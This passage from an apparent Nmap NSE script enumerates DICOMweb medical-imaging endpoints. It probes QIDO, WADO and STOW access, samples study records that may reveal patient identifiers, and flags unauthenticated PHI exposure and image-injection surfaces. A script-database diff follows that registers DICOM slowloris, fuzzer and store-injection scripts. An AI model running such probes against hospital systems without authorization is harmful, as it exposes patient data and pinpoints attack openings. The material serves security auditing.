local path = root .. "/studies/" .. study_uid .. "/metadata"
local o = opts(scheme, timeout_s, "application/dicom+json")
local r = http.get(host, port, path, o)
if not r or not r.status then
return "absent"
end
if r.status == 401 or r.status == 403 then
return "auth"
end
if r.status == 200 then
return "open"
end
return "absent"
end
--- STOW-RS: does a store endpoint exist, and is it reachable without auth?
-- Uses OPTIONS first; falls back to an empty multipart POST that cannot
-- create an instance (a server that implements STOW rejects the empty body
-- with 400/409/415/500; a server without it answers 404/405).
-- @return "open", "auth", "present" (exists, auth state unknown) or "absent"
local function probe_stow(host, port, scheme, root, timeout_s)
local path = root .. "/studies"
-- OPTIONS is a cheap existence signal (often an unauthenticated CORS
-- preflight), but it does not reveal whether POST itself needs auth.
local advertised = false
local ro = http.generic_request(host, port, "OPTIONS", path,
opts(scheme, timeout_s, nil))
if ro and ro.status then
local allow = (ro.header and (ro.header["allow"]
or ro.header["access-control-allow-methods"])) or ""
advertised = allow:upper():find("POST", 1, true) ~= nil
end
-- Empty multipart/related body: understood-but-rejected proves the endpoint
-- exists and reveals its auth posture; it carries no DICOM part so nothing
-- can be stored. This verdict is authoritative over OPTIONS.
local boundary = "nmapDICOMWEBprobe"
local po = opts(scheme, timeout_s, "application/dicom+json", {
["Content-Type"] =
'multipart/related; type="application/dicom"; boundary=' .. boundary,
})
po.content = "--" .. boundary .. "--\r\n"
local rp = http.generic_request(host, port, "POST", path, po)
if rp and rp.status then
local s = rp.status
if s == 401 or s == 403 then
return "auth"
end
-- 2xx (lenient accept of an empty body) or an understood-but-rejected
-- payload (400/409/415/500) both mean the store endpoint is reachable
-- without authentication.
if s == 200 or s == 202 or s == 400 or s == 409 or s == 415
or s == 500 then
return "open"
end
-- 404/405: no store endpoint here (unless OPTIONS said otherwise).
end
return advertised and "present" or "absent"
end
--- Best-effort server identification (HTTP Server header + Orthanc /system).
local function identify_server(host, port, scheme, timeout_s, base_header)
local server = base_header
local o = opts(scheme, timeout_s, "application/json")
local r = http.get(host, port, "/system", o)
if r and r.status == 200 and r.body then
local ok, sys = json.parse(r.body)
if ok and type(sys) == "table" and sys.Name then
local ver = sys.Version and (" " .. tostring(sys.Version)) or ""
return tostring(sys.Name) .. ver
end
end
return server
end
--- Decide the scheme(s) to try for this port.
local function scheme_order(port)
local forced = arg("scheme", nil)
if forced then
return {forced}
end
local svc = port.service or ""
local tunnel = (port.version and port.version.service_tunnel) or ""
if tunnel == "ssl" or svc == "https" or port.number == 443
or port.number == 8443 then
return {"https", "http"}
end
return {"http", "https"}
end
--- Find a working QIDO root across the candidate roots for one scheme.
-- @return root, status, studies-or-detail, scheme
local function discover(host, port, scheme, roots, timeout_s, limit)
local best
for _, root in ipairs(roots) do
local status, data = probe_qido(host, port, scheme, root, timeout_s, limit)
if status == "open" then
return root, status, data
end
if status == "auth" and not best then
best = {root = root, status = status, data = data}
end
end
if best then
return best.root, best.status, best.data
end
return nil
end
action = function(host, port)
local timeout_s = tonumber(arg("timeout", "10")) or 10
local samples = tonumber(arg("samples", "3")) or 3
local user_root = arg("root", nil)
local roots = user_root and {user_root} or DEFAULT_ROOTS
local limit = math.max(samples, 1)
local root, status, data, scheme
for _, sch in ipairs(scheme_order(port)) do
root, status, data = discover(host, port, sch, roots, timeout_s, limit)
if root then
scheme = sch
break
end
end
if not root then
return nil
end
local out = stdnse.output_table()
local base = string.format("%s://%s:%d%s", scheme, host.ip, port.number, root)
out["Base URL"] = base
-- Server identification (Server header, then Orthanc /system).
local server_hdr
do
local r = http.get(host, port, root .. "/studies?limit=1",
opts(scheme, timeout_s, "application/dicom+json"))
server_hdr = r and r.header and r.header["server"]
end
local server = identify_server(host, port, scheme, timeout_s, server_hdr)
if server then
out["Server"] = server
end
local plaintext = (scheme == "http")
out["Transport"] = plaintext and "HTTP (plaintext)" or "HTTPS (TLS)"
local phi_exposed = false
local sample_study_uid
if status == "auth" then
out["QIDO-RS (query)"] =
"AUTH REQUIRED - endpoint present, returned " .. tostring(data)
elseif status == "open" then
out["QIDO-RS (query)"] = "OPEN - no authentication required"
local total = count_studies(host, port, scheme, root, timeout_s)
out["Studies visible"] = total or (#data .. " (sample)")
if #data > 0 then
sample_study_uid = tag_value(data[1], TAGS.study_uid)
if samples > 0 then
local lines = {}
for i = 1, math.min(samples, #data) do
lines[#lines + 1] = study_line(data[i])
if tag_value(data[i], TAGS.patient_name)
or tag_value(data[i], TAGS.patient_id) then
phi_exposed = true
end
end
out["Sample studies"] = lines
end
end
end
-- WADO-RS retrieval.
local wado = probe_wado(host, port, scheme, root, sample_study_uid, timeout_s)
if wado == "open" then
out["WADO-RS (retrieve)"] = "OPEN - study metadata retrievable"
elseif wado == "auth" then
out["WADO-RS (retrieve)"] = "AUTH REQUIRED"
elseif wado == "absent" then
out["WADO-RS (retrieve)"] = "not detected"
end
-- STOW-RS store surface.
local stow = probe_stow(host, port, scheme, root, timeout_s)
local stow_open = false
if stow == "open" then
out["STOW-RS (store)"] =
"OPEN - store endpoint accepts unauthenticated POST"
stow_open = true
elseif stow == "present" then
out["STOW-RS (store)"] = "present (POST advertised)"
elseif stow == "auth" then
out["STOW-RS (store)"] = "AUTH REQUIRED"
else
out["STOW-RS (store)"] = "not detected"
end
-- Findings.
local warnings = {}
if status == "open" and (phi_exposed or wado == "open") then
out["VULNERABILITY"] =
"Unauthenticated DICOMweb access exposes PHI"
.. (stow_open and " and an image-injection (STOW-RS) surface" or "")
elseif stow_open then
out["VULNERABILITY"] =
"Unauthenticated STOW-RS store endpoint (image-injection surface)"
end
if plaintext and (phi_exposed or status == "open" or status == "auth") then
warnings[#warnings + 1] =
"DICOMweb (PHI) is served over plaintext HTTP (no TLS)"
end
if #warnings > 0 then
out["WARNINGS"] = warnings
end
return out
end

View file

@ -86,7 +86,15 @@ Entry { filename = "db2-das-info.nse", categories = { "discovery", "safe", "vers
Entry { filename = "deluge-rpc-brute.nse", categories = { "brute", "intrusive", } }
Entry { filename = "dhcp-discover.nse", categories = { "discovery", "safe", } }
Entry { filename = "dicom-brute.nse", categories = { "auth", "brute", } }
Entry { filename = "dicom-cfind-ls.nse", categories = { "discovery", "safe", } }
Entry { filename = "dicom-cmove.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "dicom-get.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "dicom-info.nse", categories = { "default", "discovery", "safe", } }
Entry { filename = "dicom-ping.nse", categories = { "auth", "default", "discovery", "safe", } }
Entry { filename = "dicom-slowloris.nse", categories = { "dos", "intrusive", } }
Entry { filename = "dicom-store-fuzzer.nse", categories = { "fuzzer", "intrusive", } }
Entry { filename = "dicom-store-inject.nse", categories = { "intrusive", "vuln", } }
Entry { filename = "dicom-web-enum.nse", categories = { "discovery", "safe", } }
Entry { filename = "dict-info.nse", categories = { "discovery", "safe", } }
Entry { filename = "distcc-cve2004-2687.nse", categories = { "exploit", "intrusive", "vuln", } }
Entry { filename = "dns-blacklist.nse", categories = { "external", "safe", } }
@ -466,7 +474,6 @@ Entry { filename = "rtsp-url-brute.nse", categories = { "brute", "intrusive", }
Entry { filename = "rusers.nse", categories = { "discovery", "safe", } }
Entry { filename = "s7-info.nse", categories = { "discovery", "version", } }
Entry { filename = "samba-vuln-cve-2012-1182.nse", categories = { "intrusive", "vuln", } }
Entry { filename = "sap-hana-auth.nse", categories = { } }
Entry { filename = "servicetags.nse", categories = { "default", "discovery", "safe", } }
Entry { filename = "shodan-api.nse", categories = { "discovery", "external", "safe", } }
Entry { filename = "sip-brute.nse", categories = { "brute", "intrusive", } }